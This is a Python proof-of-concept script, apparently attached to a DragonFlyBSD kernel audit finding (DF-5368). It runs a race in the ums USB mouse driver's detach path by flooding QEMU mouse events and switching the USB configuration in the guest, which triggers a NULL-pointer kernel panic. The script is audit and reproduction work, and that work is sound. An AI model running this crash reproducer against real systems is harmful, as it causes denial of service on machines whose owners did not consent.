⬢ DragonFlyBSD Kernel Audit
DF-5368 / umsrace.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""ums unplug race orchestrator (DF-5368 / DF-5369).

Host-side: spams QEMU usb-mouse motion via the monitor socket, then
device_del's the mouse while a guest-side root process holds the ums0
evdev node (/dev/input/eventN) open — which is exactly the state where
ums_ev_open() started the intr xfer WITHOUT any /dev/ums0 fifo open.

ums_detach() then runs usb_fifo_detach() first: with the fifo never
opened, usb_fifo_close() returns at usb_dev.c:779 WITHOUT stopping the
xfer, and f_sc->fp[USB_FIFO_RX] is NULLed (usb_dev.c:2032) while the
intr xfer is still live. The next delivered report makes
ums_intr_callback() call usb_fifo_put_bytes_max(NULL) / ..._linear(NULL)
(ums.c:371 / ums.c:922) -> NULL page deref -> panic.

usage: umsrace.py <cycles> [--holdfifo]  (default: hold evdev node)
"""
import socket, subprocess, sys, threading, time

SOCK = "dfbsd-qemu/boot-mon.sock"
SSH = ["ssh", "-F", "dfbsd-qemu/config", "-o", "ConnectTimeout=8",
       "-o", "BatchMode=yes", "dfbsd"]           # root: holder needs event node

class Mon:
    def __init__(self):
        self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self.s.connect(SOCK)
        self.s.settimeout(0.25)
        try:
            self.s.recv(65536)
        except Exception:
            pass
    def cmd(self, c, wait=0.6):
        self.s.sendall((c + "\n").encode())
        time.sleep(wait)
        out = b""
        try:
            out = self.s.recv(65536)
        except Exception:
            pass
        return out.decode(errors="replace")
    def spam(self, n=40):
        # queue a burst of relative motion events; each becomes one
        # interrupt-IN data delivery at the device poll interval
        self.s.sendall((b"mouse_move 3 3\n" * (n // 2) +
                        b"mouse_move -3 -3\n" * (n // 2)))
        time.sleep(0.05)
        try:
            while True:
                if not self.s.recv(65536):
                    break
        except Exception:
            pass

class Spam(threading.Thread):
    """Continuously feed relative motion events during the detach so
    interrupt-IN reports keep completing while ums_detach() runs."""
    def __init__(self, m):
        super().__init__(daemon=True)
        self.m = m
        self.run_flag = True
    def run(self):
        i = 0
        while self.run_flag:
            self.m.s.sendall(b"mouse_move 4 4\n" if (i := i + 1) % 2
                             else b"mouse_move -4 -4\n")
            try:
                self.m.s.recv(65536)
            except Exception:
                pass
            time.sleep(0.002)
        # drain monitor output
        time.sleep(0.05)
        try:
            while True:
                if not self.m.s.recv(65536):
                    break
        except Exception:
            pass

def guest_ok():
    return subprocess.run(SSH + ["true"], capture_output=True).returncode == 0

def guest_run(sh):
    return subprocess.run(SSH + ["/bin/sh"], input=sh + "\n",
                          capture_output=True, text=True, timeout=60)

def evdev_node():
    r = guest_run("sysctl -a 2>/dev/null | grep -E "
                  "'kern\\.evdev\\.input\\.[0-9]+\\.name: QEMU QEMU USB Mouse' | "
                  "tail -1 | cut -d. -f4 | cut -d: -f1")
    n = r.stdout.strip()
    return ("/dev/input/event%s" % n) if n else None

def main():
    cycles = int(sys.argv[1]) if len(sys.argv) > 1 else 40
    holdfifo = "--holdfifo" in sys.argv   # baseline B: hold /dev/ums0 instead
    m = Mon()
    down = 0
    for i in range(cycles):
        # (re)configure if needed: set_config 1 re-attaches ums after a
        # previous set_config 0 (device itself stays attached all along)
        st = guest_run("ls /dev/ums0 2>/dev/null")
        if st.returncode != 0 or not st.stdout.strip():
            guest_run("usbconfig -u 0 -a 2 set_config 1")
            time.sleep(2.0)
        node = evdev_node() if not holdfifo else "/dev/ums0"
        if not node:
            print("cycle %d: no evdev node (dead?)" % i)
            time.sleep(2)
            continue
        # arm holder (root): holds the node open -> xfer running, no fifo
        guest_run("pkill -x holdopen 2>/dev/null; sleep 0.2; "
                  "/root/holdopen %s </dev/null >/tmp/hold.err 2>&1 & "
                  "sleep 0.5; cat /tmp/hold.err" % node)
        sp = Spam(m)
        sp.start()
        time.sleep(0.35)          # ensure reports are flowing
        # software detach of the interface driver while the device is
        # still attached and delivering interrupt-IN reports
        guest_run("usbconfig -u 0 -a 2 set_config 0")
        time.sleep(1.5)           # let the guest process the detach under load
        sp.run_flag = False
        sp.join(3)
        if not guest_ok():
            print("GUEST DOWN at cycle %d (held %s)" % (i, node))
            down += 1
            break
        if (i + 1) % 5 == 0:
            print("cycle %d ok" % (i + 1))
        time.sleep(0.8)
    print("done: down=%d" % down)

if __name__ == "__main__":
    main()